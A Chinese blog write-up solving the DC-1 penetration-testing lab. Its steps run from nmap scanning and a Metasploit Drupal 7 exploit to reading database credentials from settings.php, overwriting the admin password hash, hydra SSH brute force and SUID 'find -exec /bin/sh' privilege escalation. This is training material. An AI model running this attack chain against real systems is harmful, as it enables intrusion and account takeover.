【DC系列】DC-1靶场

2023-11-09

首先下载DC1的镜像资源:Index of /downloadsicon-default.png?t=N0U7https://www.five86.com/downloads/

下载完成后进行解压,鼠标右击DC-1镜像->打开方式->选择虚拟机。

如下图所示:

输入虚拟机名称和选择虚拟机的存储路径后点击导入。

当出现以下报错信息时直接点击重试即可:

 导入成功后,鼠标右击DC-1虚拟机->设置->网络适配器->nat模式->确定:(虚拟机kali最好也选择nat模式,保证双方在同一网段上)

然后点击开启虚拟机,如果出现报错,点击否即可,

如果出现如下画面则表示启动成功:

 到这里环境就搭建完成了,下面进行渗透测试:
1.信息收集

查看DC1虚拟机的Mac地址:鼠标右击DC-1虚拟机->设置->网络适配器->高级。

打开虚拟机kali->启动终端:

主机发现:nmap -sn 192.168.17.0/24   //注意:此处为你nat模式下的ip网段

得到DC-1的ip地址为:192.168.17.166

nmap -A -p- 192.168.17.166

(-A:使用高级功能进行扫描,即全面扫描;-p-:扫描端口号1-65535,与-p 1-65535相同意思)

通过扫描结果可知端口22,80,111,39206端口是开放的。 

在物理机的火狐浏览器访问192.168.17.166:

通过火狐浏览器的Wappalyzer插件知道网站的CMS是Drupal 7,编程语言是PHP 5.4.45;

利用搜索引擎查找有关Drupal 7的漏洞:inurl:Drupal 7漏洞

 知道该CMS存在漏洞,就轮到美少妇(msf)出场了。

2.漏洞利用

 在kali终端启动msf:msfconsole

查找有关Drupal 7的漏洞:search Drupal 7.x

存在利用模块:use 0 

显示选项:show options

设置远程目标主机的ip:set  rhosts 192.168.17.166   //DC-1的ip地址

开始利用:run或exploit都可以

显示下图则利用成功:

获取普通shell:shell

进入交互式shell:python -c 'import pty; pty.spawn("/bin/bash")'

 列出目录中的文件及子目录的名称:dir

发现flag1.txt,查看该文件:cat flag1.txt

提示寻找CMS的配置文件,利用百度进行搜索:inurl:Drupal 配置文件

 查找settings.php文件:

 find -name 'settings.php'

查看该文件:

cat ./sites/default/settings.php

可以看到flag2和数据库的相关信息(数据库名称:drupaldb,用户名:dbuser,密码:R0ck3t) 

尝试连接数据库:mysql -udbuser -pR0ck3t(-u后给出用户名,-p后给出密码)

使用drupaldb数据库:use drupaldb;

查看数据库的所有表名: show tables;

 发现两个有关users的表:

 

查看users表:select * from users;
发现密码被加密过: 

先退出mysql,查找加密文件:

exit;

找到Drupal的加密脚本:

/var/www/scripts/password-hash.sh

查看该文件,发现是用php语言编写:

可利用php + 加密脚本 + 密码得到加密后的密码:

php /var/www/scripts/password-hash.sh 123456

复制加密后的密码,再次进入数据库,然后将users表admin用户的密码更改为自己加密后的密码:

 update users set pass = "$S$DOp8U3lzGVGwxESLWgcjgnQdtr8DBkUFyz2sJTq12uTAbJKIpk3n" where name = "admin";

然后使用admin:123456(用户名:admin,密码:123456)登录网站:http://192.168.17.166

登录成功后点击Content->flag3。

 提示获取shadow中的内容,看到shadow,又因为DC-1是linux系统,想到的就是/etc/shadow文件。

尝试查看/etc/shadow文件,访问被拒绝, 应该是权限不够。

知识点:

/etc/passwd:存储系统用户的基本信息,所有用户都可以访问

/etc/shadow:存储系统用户的密码等信息,只有root权限才可以访问。

查看/etc/passwd文件,发现有关flag4的信息:

想到利用nmap扫描出来的22端口,开启的是ssh服务,有可能flag4就是ssh的用户名,尝试爆破密码:(启动另外一个kali终端,使用hydra工具进行爆破)

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.17.166 ssh

-l:指定用户名

-P:指定爆破的密码字典

 成功爆破出密码后进行ssh连接:(ssh 用户名@开启了ssh服务的ip地址),输入爆破出来的密码

连接成功后查看当前文件内容:ls

发现flag4.txt,查看该文件:cat flag4

提示使用相同的方法查找或访问根目录中的flag,应该是要进行提权:

这里利用suid进行提权,

查看具有root用户权限的SUID文件:

find / -perm -u=s -type f 2>/dev/null

find / -name index.php -exec "/bin/sh" \;

 成功提权后进入到root目录下,发现最后的flag。

本人第一次写博客,还存在很多问题,各位读者在阅读时若有疑问可在评论区留言。 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【DC系列】DC-1靶场 的相关文章

  • 使用 sh 运行 bash 脚本

    我有 bash 脚本 它需要 bash 另一个人尝试运行它 sh script name sh 它失败了 因为 sh 是他的发行版中 dash 的符号链接 ls la bin sh lrwxrwxrwx 1 root root 4 Aug
  • 为什么我可以直接从 bash 执行 JAR?

    我是一个长期从事 Java 工作的人 并且知道运行带有主类的 JAR 的方法MANIFEST MFJar 中的文件很简单 java jar theJar jar 我用它来启动 Fabric3 服务器 包含在bin server jar在其标
  • 在我的 index.php 中加载 CSS 和 JS 等资源时出现错误 403

    我使用的是 Linux Elementary OS 并在 opt 中安装了 lampp My CSS and JS won t load When I inspect my page through browser The console
  • 查找哪个程序运行另一个程序

    我有一个 NAS 运行在 Redhat Linux 的有限版本上 我按照指示破解了它 这样我就可以访问 shell 这很有帮助 我还做了一些修改 其他人也做过修改 除了一个问题之外 它们似乎都工作得很好 不知何故 每隔 22 天 系统就会关
  • 在脚本内使用不带密码的 sudo

    由于某种原因 我需要作为用户在没有 sudo 的情况下运行脚本 script sh 该脚本需要 root 权限才能工作 我认为将 sudo 放入 script sh 中是唯一的解决方案 让我们举个例子 script sh bin sh su
  • 内核模式下的线程(和进程)与用户模式下的线程(和进程)有什么区别?

    我的问题 1 书中现代操作系统 它说线程和进程可以处于内核模式或用户模式 但没有明确说明它们之间有什么区别 2 为什么内核态线程和进程的切换比用户态线程和进程的切换花费更多 3 现在 我正在学习Linux 我想知道如何在LINUX系统中分别
  • Linux 上的用户空间能否实现本机代码的抢占式多任务处理?

    我想知道是否可以在 Linux 用户空间的单个进程中实现本机代码的抢占式多任务处理 也就是说 从外部暂停一些正在运行的本机代码 保存上下文 交换到不同的上下文 然后恢复执行 所有这些都由用户空间精心安排 但使用可能进入内核的调用 我认为这可
  • 删除 Git 存储库,但保留所有文件

    在我使用 Linux 的过程中的某个时刻 我决定将我的主目录中的所有内容都放入源代码管理中是个好主意 我不是在问这是否是一个好主意 我是在问如何撤销它 删除存储库的原因是我最近安装了 Oh My Zsh 而且我非常喜欢它 问题是我的主目录有
  • 当 grep "\\" XXFile 我得到“尾随反斜杠”

    现在我想查找是否有包含 字符的行 我试过grep XXFile但它暗示 尾随反斜杠 但当我尝试时grep XXFile没关系 谁能解释一下为什么第一个案例无法运行 谢谢 区别在于 shell 处理反斜杠的方式 当你写的时候 在双引号中 sh
  • MySQL 中的创建/写入权限

    我的设备遇到一些权限问题SELECT INTO OUTFILE陈述 当我登录数据库并执行简单的导出命令时 例如 mysql gt select from XYZ into outfile home mropa Photos Desktop
  • 按进程名称过滤并记录 CPU 使用情况

    Linux 下有选项吗顶部命令 https www man7 org linux man pages man1 top 1 html我可以在哪里按名称过滤进程并将每秒该进程的 CPU 使用情况写入日志文件 top pgrep 过滤输出top
  • Linux - 从第二个选项卡获取文本

    假设我们有这样的文件 一些文本11 一些文本12 一些文本13 一些文本21 一些文本22 一些文本23 文本由制表符分隔 我们知道第 1 列中的一些文本 但希望从第 2 列中获取文本 我知道我可以通过以下方式获取线路 grep somet
  • 子目录中的头文件(例如 gtk/gtk.h 与 gtk-2.0/gtk/gtk.h)

    我正在尝试使用 GTK 构建一个 hello world 其中包括以下行 include
  • C++ Boost ASIO 简单的周期性定时器?

    我想要一个非常简单的周期性计时器每 50 毫秒调用我的代码 我可以创建一个始终休眠 50 毫秒的线程 但这很痛苦 我可以开始研究用于制作计时器的 Linux API 但它不可移植 I d like使用升压 我只是不确定这是否可能 boost
  • 高效的内存屏障

    我有一个多线程应用程序 其中每个线程都有一个整数类型的变量 这些变量在程序执行期间递增 在代码中的某些点 线程将其计数变量与其他线程的计数变量进行比较 现在 我们知道在多核上运行的线程可能会无序执行 一个线程可能无法读取其他线程的预期计数器
  • git 错误:无法处理 https

    当我尝试使用 git clone 时https xxx https xxx我收到以下错误我不处理协议 https 有人可以帮我吗 完整消息 dementrock dementrock A8Se git 克隆https git innosta
  • 当用户按下打印时运行脚本,并且在脚本结束之前不开始假脱机(linux,cups)

    我需要做的是结合用户按下打印来执行 python 程序 脚本 并且在该程序退出之前不要让打印作业假脱机 原因是打印驱动程序不是开源的 我需要更改用户设置 在本例中是部门 ID 和密码 通常是每个用户 但因为这是一个信息亭 具有相同帐户的不同
  • Awk - 计算两个文件之间的每个唯一值和匹配值

    我有两个文件 首先 我尝试获取第 4 列中每个唯一字段的计数 然后匹配第二个文件的第二列中的唯一字段值 File1 第 4 列的每个唯一值和 File2 第 2 列包含我需要在两个文件之间匹配的值 所以本质上 我试图 gt 如果 file2
  • Linux 上的 RTLD_LOCAL 和dynamic_cast

    我们有一个由应用程序中的一些共享库构成的插件 我们需要在应用程序运行时更新它 出于性能原因 我们在卸载旧插件之前加载并开始使用新插件 并且只有当所有线程都使用旧插件完成后 我们才卸载它 由于新插件和旧插件的库具有相同的符号 我们dlopen
  • Fedora dnf 更新不起作用?

    当我尝试使用 update 命令更新 Fedora 22 时 sudo dnf update 我收到以下错误 错误 无法同步存储库 更新 的缓存 无法准备内部镜像列表 Curl 错误 6 无法解析主机名 无法解析主机 mirrors fed

随机推荐

  • UNIX网络编程卷一 学习笔记 第二十四章 带外数据

    许多传输层都有带外数据 out of band data 的概念 它有时也称为经加速数据 expedited data 其想法是一个连接的某端发生了重要的事情 且该端希望迅速通告其对端 这里的迅速指这种通知应该在已经排队等待发送的任何普通
  • PowerDesigner书签(02)导入SQL脚本生成ER图

    楔子 那时你很喜欢她吧 你不是觉得非她莫属 才跟她结婚的吗 同理 你现在痴迷的这个女人也没什么特别的 所谓的非她莫属从一开始就不存在 世上根本没有姻缘的红线 东野圭吾 黎明之街 1 今日书签 PowerDesigner 16 5 导入现有本
  • springBoot 跨域/文件上传/邮件

    学习目标 跨域请求 文件上传 邮件处理 跨域请求 1 跨域怎么理解 跨域是什么 跨域是指不同域名之间的相互访问 这是由浏览器的同源策略决定的 是浏览器对JavaScript施加的安全措施 防止恶意文件破坏 同源策略 同源策略是一种约定 它是
  • 主节点连接hiveserver2报错Error: Could not open client transport with JDBC Uri: jdbc:hive2://hadoop01:10000:

    错误 Error Could not open client transport with JDBC Uri jdbc hive2 hadoop01 10000 java net ConnectException 拒绝连接 state 08
  • 自启exe_一个阻止【部分】流氓软件自启的解决办法(以AlibabaProtect.exe为例)

    警告 目前很多流氓软件已经采用了更高级的隐藏自己的方法 文中的方法仅限一些比较低级的顽固软件 笔者不保证文中方法能适用所有软件 如果不行请自行另找办法 这里只是提供一种思路 近日 笔者发现电脑里凭空多出一个占用闲置资源的AlibabaPro
  • sqli-labs通关全解---有关请求头注入--less18-22--7

    HTTP请求头我们可以通过chrome的F12开发者工具看到 一般的请求头内容如下 1 Accept Accept application json 浏览器可以接受服务器回发的类型为 application json Accept 代表浏览
  • sql字符串拼接

    1 概述 在SQL语句中经常需要进行字符串拼接 以sqlserver oracle mysql三种数据库为例 因为这三种数据库具有代表性 sqlserver select 123 456 oracle select 123 456 from
  • Mac电脑SecureCRT安装步骤

    Securecrt Mac版是Mac os系统上一款强大易用且专业的终端SSH工具 类似于Windows中的Putty SecureCRTpo解版支持SSH1 SSH2 Telnet等远程连接 同时具有很多实用和专业的辅助功能 支持保存mi
  • 01 如何学习Python Web开发从入门到实战

    Python Web开发从入门到实战 前言 Python Web是学校所学的课程 我希望在学习的同时通过写笔记的形式来记录我学习以及由学校学习转而自身对此方向感兴趣的一个过程 更多还是让自己在课程结束之后进行一个小的总结来回顾 提高自己 当
  • C# socket服务端判断 客户端已经断开连接的一个小办法

    具体原理就是 If the remote host shuts down the Socket connection with the Shutdown method and all available data has been rece
  • C语言《数据结构》(朱战立):顺序表与链表

    数据结构 顺序表与链表 线性结构的特点是 除第一个和最后一个元素外 每个元素只有一个前驱数据元素和一个后继数据元素 线性表是一种可以在任意位置进行插入和删除数据元素操作的 由n n 0 个相同类型数据元素a0 a1 a2 an 1组成的线性
  • 区块链正在开启一场回归商业,融合商业的新发展

    对于区块链来讲 它其实同样在延续着这样一种发展路径 正如上文所说 区块链正在开启一场回归商业 融合商业的新发展 而欲要实现这一点 区块链就是要从底层算法 底层数据传输 底层体系的打造着手来实现 更为确切地说 区块链回归商业的路径 其实就是要
  • 测试技术栈整理 -- 测试开发工程师的自我修养

    导航 一 测试理论 二 单元测试 三 集成测试 四 接口测试 五 界面 UI 测试 六 性能测试 七 自动化测试 八 Linux 九 更高级别的测试 十 测试大神好文推荐 一 测试理论 标题 链接 软件的生命周期 https blog cs
  • 因果推断17--基于反事实因果推断的度小满额度模型学习笔记

    目录 一 原文地址 二 一些问题 2 1如何从RCT随机样本过渡到观测样本因果建模 2 2反事实学习的核心思想 2 3度小满的连续反事实额度模型 Mono CFR 2 4Mono CFR代码实现 待补充 2 5CFR学习 2 5 1TarN
  • 密度计算机公式,密度浓度换算公式(浓度和密度的换算关系)

    根据密度 质量除以体积 浓度 物质的量n除以体积 物质的量n等于m除以M 最后得到 密度等于物质的摩尔质量乘以密度 C 1000 d w M C 物质的量的浓度 d 密度 w 质量分数 M 摩尔质量 有多少写多少 里面好象还有升 立方米 反
  • SpringBoot 配置文件中的信息加密

    SpringBoot 配置文件敏感信息加密 说明 打开application properties或application yml 比如 MySql登陆密码 Redis登陆密码以及第三方的密钥等等一览无余 这里介绍一个加解密组件 提高一些属
  • pandas——相关系数函数corr()

    计算DataFrame列之间的相关系数 a np arange 1 10 reshape 3 3 data DataFrame a index a b c columns one two three print data one two t
  • Linux网络接口操作之if_nameindex

    系统信息 操作系统 lsb release ir Distributor ID CentOS Release 6 7 内核版本 uname r 2 6 32 573 26 1 el6 x86 64 gcc版本 gcc version gcc
  • 详解JS中的栈内存与堆内存!(配图解)

    一 栈内存 1 访问顺序 栈是一种先进后出的数据结构 栈内存是内存中用于存放临时变量的一片内存块 它是一种特殊的列表 栈内的元素只能通过列表的一端访问 这一端称为栈顶 另一端称为栈底 2 存储数据 一般来说 栈内存主要用于存储各种基本类型的
  • 【DC系列】DC-1靶场

    首先下载DC1的镜像资源 Index of downloadshttps www five86 com downloads 下载完成后进行解压 鼠标右击DC 1镜像 gt 打开方式 gt 选择虚拟机 如下图所示 输入虚拟机名称和选择虚拟机的